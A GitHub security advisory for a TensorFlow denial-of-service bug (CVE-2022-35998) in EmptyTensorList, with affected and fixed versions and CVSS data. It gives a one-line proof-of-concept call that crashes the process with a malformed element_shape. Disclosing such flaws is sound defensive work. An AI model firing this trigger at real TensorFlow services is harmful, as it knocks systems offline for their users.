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Security Advisories: GSA_kwCzR0hTQS1xaHc0LXd3cjctZ2pjNc4AAu2c

TensorFlow vulnerable to `CHECK` fail in `EmptyTensorList`


If EmptyTensorList receives an input element_shape with more than one dimension, it gives a CHECK fail that can be used to trigger a denial of service attack.

import tensorflow as tf

tf.raw_ops.EmptyTensorList(element_shape=tf.ones(dtype=tf.int32, shape=[1, 0]), max_num_elements=tf.constant(1),element_dtype=tf.int32)


We have patched the issue in GitHub commit c8ba76d48567aed347508e0552a257641931024d.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

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This vulnerability has been reported by Kang Hong Jin.

Source: GitHub Advisory Database
Origin: Unspecified
Severity: Moderate
Classification: General
Published: about 1 year ago
Updated: 8 months ago

CVSS Score: 5.9
CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

Identifiers: GHSA-qhw4-wwr7-gjc5, CVE-2022-35998

Affected Packages

Versions: >= 2.9.0, < 2.9.1, >= 2.8.0, < 2.8.1, < 2.7.2
Fixed in: 2.9.1, 2.8.1, 2.7.2